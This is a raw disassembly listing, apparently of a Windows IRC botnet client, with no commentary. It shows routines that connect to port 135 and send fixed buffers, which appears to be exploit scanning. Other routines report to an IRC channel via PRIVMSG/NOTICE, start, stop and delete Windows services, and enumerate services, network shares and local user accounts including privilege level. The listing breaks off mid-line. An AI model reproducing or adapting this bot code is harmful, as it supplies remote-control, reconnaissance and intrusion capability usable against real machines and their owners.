--------------------------------------------------------------------------- loc_412BB7: ; CODE XREF: sub_412B98+16j push 3 push 1388h push [ebp+arg_0] call dword_43A3D8 ; inet_addr push eax call sub_4076EE add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_412BB3 ; --------------------------------------------------------------------------- loc_412BD9: ; CODE XREF: sub_412B98+13j push 6 push 1 push 2 call dword_43A418 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_412BB1 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43A398 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A05B pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43A340 ; connect cmp eax, edi jz loc_412CF5 push ebx push 48h push offset dword_43658C push esi call dword_43A3E8 ; send cmp eax, edi jz loc_412CF5 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43A3B0 ; recv cmp eax, edi jz loc_412CF5 cmp [ebp+var_200E], 0Ch jnz short loc_412CF5 push ebx push 18h push offset dword_4365D8 push [ebp+arg_4] call dword_43A3E8 ; send cmp eax, edi jz short loc_412CF5 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43A3B0 ; recv mov esi, eax cmp esi, edi jz short loc_412CF5 cmp [ebp+var_200E], 2 jnz short loc_412CF5 push 10h push offset loc_4365F4 lea eax, [ebp+var_2010] push esi push eax call sub_412B60 add esp, 10h test al, al jz short loc_412CD5 cmp esi, 12Ch setnl bl inc ebx jmp short loc_412CF5 ; --------------------------------------------------------------------------- loc_412CD5: ; CODE XREF: sub_412B98+12Fj push 10h push offset dword_436608 lea eax, [ebp+var_2010] push esi push eax call sub_412B60 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_412CF5: ; CODE XREF: sub_412B98+9Bj ; sub_412B98+B2j ... push [ebp+arg_4] call dword_43A430 ; closesocket mov eax, ebx pop ebx jmp loc_412BB3 sub_412B98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D06 proc near ; CODE XREF: sub_40CCDD+3Dp ; sub_40CE55+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41748F add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A3E8 ; send leave retn sub_412D06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_401000+88p ; sub_401447+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_412D67 mov edi, offset aPrivmsg ; "PRIVMSG" loc_412D67: ; CODE XREF: sub_412D4C+14j push edi call sub_415CF0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_415CF0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_415A6A lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_43661C push eax call sub_4154E7 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A3E8 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_412DE5 push 7D0h call dword_421060 ; Sleep locret_412DE5: ; CODE XREF: sub_412D4C+8Cj leave retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= sub_412DE7 proc near ; CODE XREF: sub_40CE55:loc_40ED61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_412E4C lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_436630[esi] push edi push eax call sub_412E6E add esp, 14h test eax, eax jnz short loc_412E2F push edi push off_43662C[esi] mov esi, offset dword_469060 push offset dword_436764 push esi call sub_4154E7 add esp, 10h jmp short loc_412E69 ; --------------------------------------------------------------------------- loc_412E2F: ; CODE XREF: sub_412DE7+2Aj push eax call sub_412F10 push eax push edi mov esi, offset dword_469060 push offset dword_436728 push esi call sub_4154E7 add esp, 14h jmp short loc_412E69 ; --------------------------------------------------------------------------- loc_412E4C: ; CODE XREF: sub_412DE7+Cj lea eax, [eax+eax*2] mov esi, offset dword_469060 push off_436628[eax*4] push offset dword_4366F0 push esi call sub_4154E7 add esp, 0Ch loc_412E69: ; CODE XREF: sub_412DE7+46j ; sub_412DE7+63j mov eax, esi pop edi pop esi retn sub_412DE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E6E proc near ; CODE XREF: sub_412DE7+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43A38C ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_412E95 call dword_421088 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_412F0A ; --------------------------------------------------------------------------- loc_412E95: ; CODE XREF: sub_412E6E+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43A280 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_412EB5 call dword_421088 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_412F02 ; --------------------------------------------------------------------------- loc_412EB5: ; CODE XREF: sub_412E6E+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_412EE8 cmp eax, 3 jz short loc_412ED9 jle short loc_412EFB cmp eax, 6 jg short loc_412EFB lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43A2E8 ; ControlService jmp short loc_412EEF ; --------------------------------------------------------------------------- loc_412ED9: ; CODE XREF: sub_412E6E+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43A288 ; StartServiceA jmp short loc_412EEF ; --------------------------------------------------------------------------- loc_412EE8: ; CODE XREF: sub_412E6E+4Dj push esi call dword_43A2EC ; DeleteService loc_412EEF: ; CODE XREF: sub_412E6E+69j ; sub_412E6E+78j test eax, eax jnz short loc_412EFB call dword_421088 ; RtlGetLastWin32Error mov ebx, eax loc_412EFB: ; CODE XREF: sub_412E6E+54j ; sub_412E6E+59j ... push esi call dword_43A29C ; CloseServiceHandle loc_412F02: ; CODE XREF: sub_412E6E+45j push edi call dword_43A29C ; CloseServiceHandle pop esi loc_412F0A: ; CODE XREF: sub_412E6E+25j mov eax, ebx pop edi pop ebx leave retn sub_412E6E endp ; =============== S U B R O U T I N E ======================================= sub_412F10 proc near ; CODE XREF: sub_412DE7+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_412FC5 jz loc_412FBE add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_412F88 jz short loc_412F7E mov ecx, eax sub ecx, 3 jz short loc_412F74 dec ecx dec ecx jz short loc_412F6A dec ecx jz short loc_412F60 sub ecx, 51h jz short loc_412F56 sub ecx, 24h jnz loc_41303B ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 loc_412F4C: ; DATA XREF: .nsp0:off_42B834o push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F56: ; CODE XREF: sub_412F10+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F60: ; CODE XREF: sub_412F10+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F6A: ; CODE XREF: sub_412F10+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F74: ; CODE XREF: sub_412F10+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F7E: ; CODE XREF: sub_412F10+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_41302D ; --------------------------------------------------------------------------- loc_412F88: ; CODE XREF: sub_412F10+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_412FB7 dec ecx jz short loc_412FB0 dec ecx jz short loc_412FA9 dec ecx jnz loc_41303B ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_41302D ; --------------------------------------------------------------------------- loc_412FA9: ; CODE XREF: sub_412F10+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FB0: ; CODE XREF: sub_412F10+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FB7: ; CODE XREF: sub_412F10+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FBE: ; CODE XREF: sub_412F10+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FC5: ; CODE XREF: sub_412F10+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_41303B ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 jz short loc_413028 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_41303B ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_41307C[ecx] jmp off_413054[ecx*4] ; switch jump loc_412FE9: ; DATA XREF: .nsp0:off_413054o push offset aTheSpecifiedDa ; jumptable 00412FE2 case 7 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FF0: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceDepe ; jumptable 00412FE2 case 17 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceDe_0 ; jumptable 00412FE2 case 10 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_412FFE: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceHasB ; jumptable 00412FE2 case 0 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_413005: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheSpecified_0 ; jumptable 00412FE2 case 2 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_41300C: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceCoul ; jumptable 00412FE2 case 11 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_413013: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceHa_0 ; jumptable 00412FE2 case 14 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_41301A: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheRequested_1 ; jumptable 00412FE2 case 3 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_413021: ; CODE XREF: sub_412F10+D2j ; DATA XREF: .nsp0:off_413054o push offset aTheServiceHasN ; jumptable 00412FE2 case 4 jmp short loc_41302D ; --------------------------------------------------------------------------- loc_413028: ; CODE XREF: sub_412F10+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_41302D: ; CODE XREF: sub_412F10+41j ; sub_412F10+4Bj ... push offset dword_4689A0 call sub_4154E7 pop ecx pop ecx jmp short loc_41304E ; --------------------------------------------------------------------------- loc_41303B: ; CODE XREF: sub_412F10+36j ; sub_412F10+89j ... push eax ; default ; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4689A0 call sub_4154E7 add esp, 0Ch loc_41304E: ; CODE XREF: sub_412F10+129j mov eax, offset dword_4689A0 retn sub_412F10 endp ; --------------------------------------------------------------------------- off_413054 dd offset loc_412FFE ; DATA XREF: sub_412F10+D2r dd offset loc_413005 ; jump table for switch statement dd offset loc_41301A dd offset loc_413021 dd offset loc_412FE9 dd offset loc_412FF7 dd offset loc_41300C dd offset loc_413013 dd offset loc_412FF0 dd offset loc_41303B byte_41307C db 0, 9, 1, 2 ; DATA XREF: sub_412F10+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308E proc near ; CODE XREF: sub_40CE55+1F37p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43A38C ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4130C6: ; CODE XREF: sub_41308E+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43A358 ; EnumServicesStatusA test eax, eax jnz short loc_413100 call dword_421088 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_4131B4 loc_413100: ; CODE XREF: sub_41308E+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_4131AB lea esi, [ebp+var_188] loc_413111: ; CODE XREF: sub_41308E+117j mov eax, [esi+8] dec eax jz short loc_41315A dec eax jz short loc_413153 dec eax jz short loc_41314C dec eax jz short loc_413145 dec eax jz short loc_41313E dec eax jz short loc_413137 dec eax jz short loc_413130 push offset aUnknown_1 ; " Unknown" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_413130: ; CODE XREF: sub_41308E+99j push offset aPaused_0 ; " Paused" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_413137: ; CODE XREF: sub_41308E+96j push offset aPausing ; " Pausing" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_41313E: ; CODE XREF: sub_41308E+93j push offset aContinuing ; " Continuing" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_413145: ; CODE XREF: sub_41308E+90j push offset aRunning_0 ; " Running" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_41314C: ; CODE XREF: sub_41308E+8Dj push offset aStoping ; " Stoping" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_413153: ; CODE XREF: sub_41308E+8Aj push offset aStarting ; " Starting" jmp short loc_41315F ; --------------------------------------------------------------------------- loc_41315A: ; CODE XREF: sub_41308E+87j push offset aStopped ; " Stopped" loc_41315F: ; CODE XREF: sub_41308E+A0j ; sub_41308E+A7j ... lea eax, [ebp+var_20] push eax call sub_4154E7 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4154E7 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_413111 loc_4131AB: ; CODE XREF: sub_41308E+77j cmp [ebp+var_8], ebx jnz loc_4130C6 loc_4131B4: ; CODE XREF: sub_41308E+6Cj push [ebp+var_C] call dword_43A29C ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41308E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131CB proc near ; CODE XREF: sub_40CE55:loc_40EE43p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_413264 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_4131F4 dec eax jnz short loc_413244 push edi push 0 call sub_41339D pop ecx pop ecx jmp short loc_413240 ; --------------------------------------------------------------------------- loc_4131F4: ; CODE XREF: sub_4131CB+18j cmp [ebp+arg_8], 0 jnz short loc_413232 push 24h push edi call sub_417080 pop ecx test eax, eax pop ecx jnz short loc_413232 push 57h pop eax loc_41320B: ; CODE XREF: sub_4131CB+77j push eax call sub_413B75 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_468C5C push off_436628[eax*4] push offset dword_436D34 push esi call sub_4154E7 add esp, 18h jmp short loc_413284 ; --------------------------------------------------------------------------- loc_413232: ; CODE XREF: sub_4131CB+2Dj ; sub_4131CB+3Bj push [ebp+arg_8] push edi push 0 call sub_4132F1 add esp, 0Ch loc_413240: ; CODE XREF: sub_4131CB+27j test eax, eax jnz short loc_41320B loc_413244: ; CODE XREF: sub_4131CB+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_468C5C push off_43662C[eax*4] push offset dword_436D04 push esi call sub_4154E7 add esp, 10h jmp short loc_413284 ; --------------------------------------------------------------------------- loc_413264: ; CODE XREF: sub_4131CB+Aj mov eax, [ebp+arg_0] mov esi, offset dword_468C5C lea eax, [eax+eax*2] push off_436628[eax*4] push offset dword_436CCC push esi call sub_4154E7 add esp, 0Ch loc_413284: ; CODE XREF: sub_4131CB+65j ; sub_4131CB+97j mov eax, esi pop edi pop esi pop ebp retn sub_4131CB endp ; =============== S U B R O U T I N E ======================================= sub_41328A proc near ; CODE XREF: sub_4146BA+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_413297 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_413297: ; CODE XREF: sub_41328A+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_421138 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_468E5C, 1 mov ebp, eax jnz short loc_4132D4 or byte_468E5C, 1 lea eax, [ebp+1] push eax call sub_4167C5 pop ecx mov dword_468BFC, eax loc_4132D4: ; CODE XREF: sub_41328A+32j push esi push esi push ebp push dword_468BFC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_468BFC pop edi pop ebp pop ebx pop esi retn sub_41328A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4132F1 proc near ; CODE XREF: sub_4131CB+6Dp ; sub_4149DE+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_41335C push [ebp+arg_4] mov edi, eax call sub_41335C push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_417080 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_41335C add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43A298 pop edi leave retn sub_4132F1 endp ; =============== S U B R O U T I N E ======================================= sub_41335C proc near ; CODE XREF: sub_4132F1+Ap ; sub_4132F1+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_413369 pop ebp retn ; --------------------------------------------------------------------------- loc_413369: ; CODE XREF: sub_41335C+9j push ebx push esi mov esi, dword_421064 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_4167C5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_41335C endp ; =============== S U B R O U T I N E ======================================= sub_41339D proc near ; CODE XREF: sub_4131CB+20p ; sub_4146BA+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41335C push [esp+8+arg_4] mov esi, eax call sub_41335C pop ecx pop ecx push 0 push eax push esi call dword_43A270 pop esi retn sub_41339D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4133C0 proc near ; CODE XREF: sub_40CE55+201Ap var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_41335C xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 18h loc_4133F9: ; CODE XREF: sub_4133C0+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43A2E4 mov ebx, eax cmp ebx, esi jz short loc_41345C cmp ebx, 0EAh jz short loc_41345C push ebx push ebx call sub_413B75 pop ecx push eax lea eax, [ebp+var_210] push offset dword_436D94 push eax call sub_4154E7 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 24h jmp short loc_4134C9 ; --------------------------------------------------------------------------- loc_41345C: ; CODE XREF: sub_4133C0+5Dj ; sub_4133C0+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_4134C0 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_41346A: ; CODE XREF: sub_4133C0+FCj push dword ptr [esi+10h] call dword_43A28C ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_413481 mov eax, offset aNo ; "No" loc_413481: ; CODE XREF: sub_4133C0+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4154E7 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_41346A xor esi, esi loc_4134C0: ; CODE XREF: sub_4133C0+A2j push [ebp+var_4] call dword_43A428 loc_4134C9: ; CODE XREF: sub_4133C0+9Aj cmp ebx, 0EAh jz loc_4133F9 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_4133C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134E1 proc near ; CODE XREF: sub_40CE55:loc_40EEE5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_413585 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_413523 dec eax jz short loc_413518 dec eax jnz short loc_41353E push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_413627 add esp, 14h jmp short loc_41353A ; --------------------------------------------------------------------------- loc_413518: ; CODE XREF: sub_4134E1+1Dj push ebx push edi call sub_413606 pop ecx pop ecx jmp short loc_41353A ; --------------------------------------------------------------------------- loc_413523: ; CODE XREF: sub_4134E1+1Aj cmp [ebp+arg_8], edi jz short loc_413537 push [ebp+arg_8] push ebx push edi call sub_4135AC add esp, 0Ch jmp short loc_41353A ; --------------------------------------------------------------------------- loc_413537: ; CODE XREF: sub_4134E1+45j push 57h pop eax loc_41353A: ; CODE XREF: sub_4134E1+35j ; sub_4134E1+40j ... cmp eax, edi jnz short loc_41355E loc_41353E: ; CODE XREF: sub_4134E1+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_468E60 push off_43662C[eax*4] push offset dword_436E84 push esi call sub_4154E7 add esp, 10h jmp short loc_4135A5 ; --------------------------------------------------------------------------- loc_41355E: ; CODE XREF: sub_4134E1+5Bj push eax call sub_413B75 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_468E60 push off_436628[eax*4] push offset dword_436E44 push esi call sub_4154E7 add esp, 18h jmp short loc_4135A5 ; --------------------------------------------------------------------------- loc_413585: ; CODE XREF: sub_4134E1+Dj mov eax, [ebp+arg_0] mov esi, offset dword_468E60 lea eax, [eax+eax*2] push off_436628[eax*4] push offset dword_436E08 push esi call sub_4154E7 add esp, 0Ch loc_4135A5: ; CODE XREF: sub_4134E1+7Bj ; sub_4134E1+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_4134E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135AC proc near ; CODE XREF: sub_4134E1+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_41335C push [ebp+arg_4] mov edi, eax call sub_41335C push [ebp+arg_8] mov [ebp+var_24], eax call sub_41335C add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43A27C pop edi leave retn sub_4135AC endp ; =============== S U B R O U T I N E ======================================= sub_413606 proc near ; CODE XREF: sub_4134E1+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41335C push [esp+8+arg_4] mov esi, eax call sub_41335C pop ecx pop ecx push eax push esi call dword_43A26C pop esi retn sub_413606 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413627 proc near ; CODE XREF: sub_4134E1+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_41335C push [ebp+arg_4] mov esi, eax call sub_41335C pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43A3F0 test eax, eax mov [ebp+arg_0], eax jnz loc_4139B4 mov eax, [ebp+var_4] test eax, eax jz loc_4139EF push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4154E7 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_413740 dec eax jz short loc_413739 dec eax jz short loc_413732 mov eax, offset aUnknown ; "Unknown" jmp short loc_413745 ; --------------------------------------------------------------------------- loc_413732: ; CODE XREF: sub_413627+102j mov eax, offset aAdministrato_0 ; "Administrator" jmp short loc_413745 ; --------------------------------------------------------------------------- loc_413739: ; CODE XREF: sub_413627+FFj mov eax, offset aUser_1 ; "User" jmp short loc_413745 ; --------------------------------------------------------------------------- loc_413740: ; CODE XREF: 